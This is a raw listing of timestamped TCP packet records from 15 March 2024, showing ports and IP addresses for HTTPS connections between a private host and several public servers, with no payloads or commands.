Mar 15, 2024 13:57:38.565452099 CET	443	49719	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:38.565517902 CET	49719	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:38.565761089 CET	49719	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:38.565778017 CET	443	49719	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:38.681812048 CET	443	49721	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:38.681977034 CET	443	49721	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:38.682116985 CET	49721	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:38.683170080 CET	49721	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:38.683188915 CET	443	49721	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:38.799721956 CET	49723	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:38.799770117 CET	443	49723	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:38.799844980 CET	49723	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:38.800410986 CET	49723	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:38.800430059 CET	443	49723	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:38.987978935 CET	443	49723	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:38.988312960 CET	49723	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:38.988337040 CET	443	49723	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:38.988681078 CET	443	49723	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:38.989120960 CET	49723	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:38.989192009 CET	443	49723	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:38.989651918 CET	49725	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:38.989684105 CET	443	49725	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:38.989744902 CET	49723	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:38.989765882 CET	49725	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:38.990143061 CET	49725	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:38.990158081 CET	443	49725	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:39.036233902 CET	443	49723	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:39.167429924 CET	443	49723	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:39.167490005 CET	443	49723	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:39.167521000 CET	443	49723	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:39.167552948 CET	443	49723	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:39.167565107 CET	49723	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:39.167603016 CET	443	49723	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:39.167623043 CET	49723	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:39.168482065 CET	49723	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:39.168518066 CET	443	49723	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:39.168633938 CET	49723	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:39.178602934 CET	443	49725	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:39.178975105 CET	49725	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:39.178991079 CET	443	49725	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:39.180444002 CET	443	49725	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:39.180511951 CET	49725	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:39.180816889 CET	49725	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:39.180902958 CET	443	49725	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:39.181066036 CET	49725	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:39.181075096 CET	443	49725	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:39.233244896 CET	49725	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:39.263999939 CET	49726	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:39.264049053 CET	443	49726	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:39.264236927 CET	49726	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:39.264520884 CET	49726	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:39.264543056 CET	443	49726	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:39.386543989 CET	443	49725	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:39.386620045 CET	443	49725	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:39.386662006 CET	443	49725	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:39.386707067 CET	49725	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:39.386725903 CET	443	49725	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:39.386764050 CET	443	49725	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:39.386775970 CET	49725	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:39.386781931 CET	443	49725	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:39.386832952 CET	49725	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:39.392561913 CET	443	49725	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:39.394737959 CET	443	49725	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:39.394829035 CET	49725	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:39.394941092 CET	49725	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:39.394953966 CET	443	49725	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:39.458971024 CET	443	49726	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:39.459228039 CET	49726	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:39.459253073 CET	443	49726	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:39.460730076 CET	443	49726	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:39.460803032 CET	49726	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:39.462975979 CET	49726	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:39.463062048 CET	443	49726	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:39.463155031 CET	49726	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:39.463162899 CET	443	49726	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:39.505269051 CET	49726	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:39.644651890 CET	443	49726	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:39.644716978 CET	443	49726	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:39.644746065 CET	443	49726	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:39.644777060 CET	443	49726	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:39.644785881 CET	49726	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:39.644799948 CET	443	49726	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:39.644825935 CET	49726	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:39.647075891 CET	443	49726	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:39.647138119 CET	49726	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:39.647324085 CET	49726	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:39.647344112 CET	443	49726	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:44.235954046 CET	49727	443	192.168.2.17	20.114.59.183
Mar 15, 2024 13:57:44.236000061 CET	443	49727	20.114.59.183	192.168.2.17
Mar 15, 2024 13:57:44.236080885 CET	49727	443	192.168.2.17	20.114.59.183
Mar 15, 2024 13:57:44.238857985 CET	49727	443	192.168.2.17	20.114.59.183
Mar 15, 2024 13:57:44.238883018 CET	443	49727	20.114.59.183	192.168.2.17
Mar 15, 2024 13:57:44.787425041 CET	443	49727	20.114.59.183	192.168.2.17
Mar 15, 2024 13:57:44.787578106 CET	49727	443	192.168.2.17	20.114.59.183
Mar 15, 2024 13:57:44.791764975 CET	49727	443	192.168.2.17	20.114.59.183
Mar 15, 2024 13:57:44.791786909 CET	443	49727	20.114.59.183	192.168.2.17
Mar 15, 2024 13:57:44.792243004 CET	443	49727	20.114.59.183	192.168.2.17
Mar 15, 2024 13:57:44.832321882 CET	49727	443	192.168.2.17	20.114.59.183
Mar 15, 2024 13:57:44.909356117 CET	49727	443	192.168.2.17	20.114.59.183
Mar 15, 2024 13:57:44.952234983 CET	443	49727	20.114.59.183	192.168.2.17
Mar 15, 2024 13:57:45.309629917 CET	443	49727	20.114.59.183	192.168.2.17
Mar 15, 2024 13:57:45.309669018 CET	443	49727	20.114.59.183	192.168.2.17
Mar 15, 2024 13:57:45.309676886 CET	443	49727	20.114.59.183	192.168.2.17
Mar 15, 2024 13:57:45.309689999 CET	443	49727	20.114.59.183	192.168.2.17
Mar 15, 2024 13:57:45.309722900 CET	443	49727	20.114.59.183	192.168.2.17
Mar 15, 2024 13:57:45.309751034 CET	49727	443	192.168.2.17	20.114.59.183
Mar 15, 2024 13:57:45.309775114 CET	443	49727	20.114.59.183	192.168.2.17
Mar 15, 2024 13:57:45.309807062 CET	49727	443	192.168.2.17	20.114.59.183
Mar 15, 2024 13:57:45.309823990 CET	49727	443	192.168.2.17	20.114.59.183
Mar 15, 2024 13:57:45.312555075 CET	443	49727	20.114.59.183	192.168.2.17
Mar 15, 2024 13:57:45.312622070 CET	49727	443	192.168.2.17	20.114.59.183
Mar 15, 2024 13:57:45.312630892 CET	443	49727	20.114.59.183	192.168.2.17
Mar 15, 2024 13:57:45.312648058 CET	443	49727	20.114.59.183	192.168.2.17
Mar 15, 2024 13:57:45.312690973 CET	49727	443	192.168.2.17	20.114.59.183
Mar 15, 2024 13:57:45.332906008 CET	49727	443	192.168.2.17	20.114.59.183
Mar 15, 2024 13:57:45.332931042 CET	443	49727	20.114.59.183	192.168.2.17
Mar 15, 2024 13:57:45.332959890 CET	49727	443	192.168.2.17	20.114.59.183
Mar 15, 2024 13:57:45.332966089 CET	443	49727	20.114.59.183	192.168.2.17
Mar 15, 2024 13:57:46.083707094 CET	49730	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:46.083765984 CET	443	49730	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:46.083832979 CET	49730	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:46.084167004 CET	49730	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:46.084180117 CET	443	49730	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:46.275306940 CET	443	49730	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:46.275595903 CET	49730	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:46.275625944 CET	443	49730	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:46.275971889 CET	443	49730	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:46.276278973 CET	49730	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:46.276339054 CET	443	49730	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:46.276418924 CET	49730	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:46.276489973 CET	49730	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:46.276504040 CET	443	49730	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:46.627801895 CET	443	49730	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:46.637965918 CET	443	49730	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:46.637995958 CET	443	49730	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:46.638135910 CET	49730	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:46.638185024 CET	443	49730	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:46.638641119 CET	49730	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:46.639410019 CET	443	49730	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:46.644380093 CET	443	49730	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:46.644540071 CET	49730	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:46.644571066 CET	443	49730	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:46.650640965 CET	443	49730	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:46.650667906 CET	443	49730	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:46.650729895 CET	49730	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:46.650773048 CET	443	49730	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:46.651074886 CET	49730	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:46.655065060 CET	443	49730	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:46.708295107 CET	49730	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:46.708349943 CET	443	49730	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:46.715646029 CET	443	49730	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:46.718781948 CET	49730	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:46.718827009 CET	443	49730	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:46.718874931 CET	443	49730	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:46.718921900 CET	49730	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:46.718930960 CET	443	49730	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:46.725889921 CET	443	49730	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:46.726787090 CET	49730	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:46.726820946 CET	443	49730	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:46.731144905 CET	443	49730	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:46.731301069 CET	443	49730	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:46.731378078 CET	49730	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:46.731467009 CET	49730	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:46.731488943 CET	443	49730	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:46.734066010 CET	49731	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:46.734110117 CET	443	49731	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:46.734389067 CET	49731	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:46.734592915 CET	49731	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:46.734605074 CET	443	49731	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:46.760395050 CET	49735	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:46.760423899 CET	443	49735	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:46.760584116 CET	49735	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:46.760799885 CET	49735	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:46.760811090 CET	443	49735	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:46.927294970 CET	443	49731	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:46.928837061 CET	49731	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:46.928932905 CET	443	49731	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:46.929308891 CET	443	49731	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:46.931083918 CET	49731	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:46.931153059 CET	443	49731	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:46.931240082 CET	49731	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:46.965785980 CET	443	49735	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:46.966918945 CET	49735	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:46.966944933 CET	443	49735	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:46.967523098 CET	443	49735	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:46.967900038 CET	49735	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:46.968012094 CET	443	49735	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:46.968101025 CET	49735	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:46.972244024 CET	443	49731	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:47.008235931 CET	443	49735	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:47.076755047 CET	49675	443	192.168.2.17	204.79.197.203
Mar 15, 2024 13:57:47.133811951 CET	443	49731	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:47.134000063 CET	443	49731	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:47.134191990 CET	49731	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:47.134857893 CET	49731	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:47.134879112 CET	443	49731	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:47.166985989 CET	443	49735	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:47.167082071 CET	443	49735	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:47.167117119 CET	443	49735	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:47.167196035 CET	49735	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:47.167224884 CET	443	49735	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:47.167284012 CET	49735	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:47.170710087 CET	443	49735	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:47.176908016 CET	443	49735	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:47.176950932 CET	443	49735	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:47.177026987 CET	49735	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:47.177038908 CET	443	49735	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:47.177100897 CET	49735	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:47.183556080 CET	443	49735	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:47.189227104 CET	443	49735	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:47.189289093 CET	49735	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:47.189296961 CET	443	49735	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:47.239290953 CET	49735	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:47.239317894 CET	443	49735	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:47.255050898 CET	443	49735	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:47.255234957 CET	49735	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:47.255260944 CET	443	49735	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:47.258060932 CET	443	49735	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:47.258142948 CET	49735	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:47.258152008 CET	443	49735	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:47.264158010 CET	443	49735	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:47.264225960 CET	49735	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:47.264238119 CET	443	49735	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:47.270308971 CET	443	49735	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:47.270360947 CET	49735	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:47.270375013 CET	443	49735	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:47.277230024 CET	443	49735	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:47.277378082 CET	49735	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:47.277393103 CET	443	49735	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:47.282592058 CET	443	49735	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:47.282654047 CET	49735	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:47.282665014 CET	443	49735	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:47.288764000 CET	443	49735	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:47.288909912 CET	49735	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:47.288918972 CET	443	49735	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:47.294964075 CET	443	49735	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:47.295036077 CET	49735	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:47.295044899 CET	443	49735	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:47.300436974 CET	443	49735	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:47.300548077 CET	49735	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:47.300924063 CET	49735	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:47.300930023 CET	443	49735	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:47.303631067 CET	49741	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:47.303642988 CET	443	49741	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:47.303721905 CET	49741	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:47.303889990 CET	49741	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:47.303901911 CET	443	49741	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:47.383287907 CET	49675	443	192.168.2.17	204.79.197.203
Mar 15, 2024 13:57:47.490593910 CET	443	49741	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:47.490770102 CET	49741	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:47.490777016 CET	443	49741	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:47.491117954 CET	443	49741	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:47.491436005 CET	49741	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:47.491494894 CET	443	49741	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:47.491569042 CET	49741	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:47.532238007 CET	443	49741	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:47.693329096 CET	443	49741	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:47.693404913 CET	443	49741	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:47.693465948 CET	49741	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:47.693485975 CET	443	49741	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:47.693497896 CET	443	49741	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:47.693536997 CET	49741	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:47.693727970 CET	443	49741	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:47.700294018 CET	443	49741	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:47.700352907 CET	49741	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:47.700381041 CET	443	49741	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:47.703365088 CET	443	49741	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:47.703438044 CET	49741	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:47.703455925 CET	443	49741	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:47.710189104 CET	443	49741	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:47.710259914 CET	49741	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:47.710283995 CET	443	49741	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:47.715909958 CET	443	49741	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:47.715972900 CET	49741	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:47.715991974 CET	443	49741	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:47.765280008 CET	49741	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:47.781327009 CET	443	49741	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:47.784235954 CET	443	49741	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:47.784291029 CET	49741	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:47.784315109 CET	443	49741	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:47.790366888 CET	443	49741	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:47.790420055 CET	49741	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:47.790436029 CET	443	49741	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:47.796407938 CET	443	49741	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:47.796466112 CET	49741	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:47.796471119 CET	443	49741	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:47.796483040 CET	443	49741	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:47.796515942 CET	49741	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:47.802778006 CET	443	49741	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:47.808667898 CET	443	49741	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:47.808712959 CET	443	49741	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:47.808720112 CET	49741	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:47.808744907 CET	443	49741	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:47.808779001 CET	49741	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:47.808796883 CET	443	49741	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:47.814845085 CET	443	49741	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:47.814905882 CET	49741	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:47.814927101 CET	443	49741	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:47.821053982 CET	443	49741	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:47.821115971 CET	49741	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:47.821131945 CET	443	49741	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:47.827003002 CET	443	49741	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:47.827064991 CET	49741	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:47.827197075 CET	49741	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:47.827214003 CET	443	49741	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:47.989382029 CET	49675	443	192.168.2.17	204.79.197.203
Mar 15, 2024 13:57:49.200303078 CET	49675	443	192.168.2.17	204.79.197.203
Mar 15, 2024 13:57:49.443552017 CET	49743	443	192.168.2.17	104.118.8.139
Mar 15, 2024 13:57:49.443605900 CET	443	49743	104.118.8.139	192.168.2.17
Mar 15, 2024 13:57:49.443694115 CET	49743	443	192.168.2.17	104.118.8.139
Mar 15, 2024 13:57:49.445581913 CET	49743	443	192.168.2.17	104.118.8.139
Mar 15, 2024 13:57:49.445595026 CET	443	49743	104.118.8.139	192.168.2.17
Mar 15, 2024 13:57:49.632996082 CET	443	49743	104.118.8.139	192.168.2.17
Mar 15, 2024 13:57:49.633084059 CET	49743	443	192.168.2.17	104.118.8.139
Mar 15, 2024 13:57:49.636435032 CET	49743	443	192.168.2.17	104.118.8.139
Mar 15, 2024 13:57:49.636445045 CET	443	49743	104.118.8.139	192.168.2.17
Mar 15, 2024 13:57:49.636706114 CET	443	49743	104.118.8.139	192.168.2.17
Mar 15, 2024 13:57:49.679436922 CET	49743	443	192.168.2.17	104.118.8.139
Mar 15, 2024 13:57:49.703315020 CET	49743	443	192.168.2.17	104.118.8.139
Mar 15, 2024 13:57:49.744246960 CET	443	49743	104.118.8.139	192.168.2.17
Mar 15, 2024 13:57:49.803406000 CET	443	49743	104.118.8.139	192.168.2.17
Mar 15, 2024 13:57:49.803513050 CET	443	49743	104.118.8.139	192.168.2.17
Mar 15, 2024 13:57:49.803563118 CET	49743	443	192.168.2.17	104.118.8.139
Mar 15, 2024 13:57:49.803670883 CET	49743	443	192.168.2.17	104.118.8.139
Mar 15, 2024 13:57:49.803692102 CET	443	49743	104.118.8.139	192.168.2.17
Mar 15, 2024 13:57:49.803704023 CET	49743	443	192.168.2.17	104.118.8.139
Mar 15, 2024 13:57:49.803709984 CET	443	49743	104.118.8.139	192.168.2.17
Mar 15, 2024 13:57:49.932646990 CET	49744	443	192.168.2.17	23.51.58.94
Mar 15, 2024 13:57:49.932698011 CET	443	49744	23.51.58.94	192.168.2.17
Mar 15, 2024 13:57:49.932800055 CET	49744	443	192.168.2.17	23.51.58.94
Mar 15, 2024 13:57:49.933499098 CET	49744	443	192.168.2.17	23.51.58.94
Mar 15, 2024 13:57:49.933510065 CET	443	49744	23.51.58.94	192.168.2.17
Mar 15, 2024 13:57:50.115246058 CET	443	49744	23.51.58.94	192.168.2.17
Mar 15, 2024 13:57:50.115346909 CET	49744	443	192.168.2.17	23.51.58.94
Mar 15, 2024 13:57:50.116803885 CET	49744	443	192.168.2.17	23.51.58.94
Mar 15, 2024 13:57:50.116818905 CET	443	49744	23.51.58.94	192.168.2.17
Mar 15, 2024 13:57:50.117086887 CET	443	49744	23.51.58.94	192.168.2.17
Mar 15, 2024 13:57:50.118558884 CET	49744	443	192.168.2.17	23.51.58.94
Mar 15, 2024 13:57:50.160240889 CET	443	49744	23.51.58.94	192.168.2.17
Mar 15, 2024 13:57:50.291507006 CET	443	49744	23.51.58.94	192.168.2.17
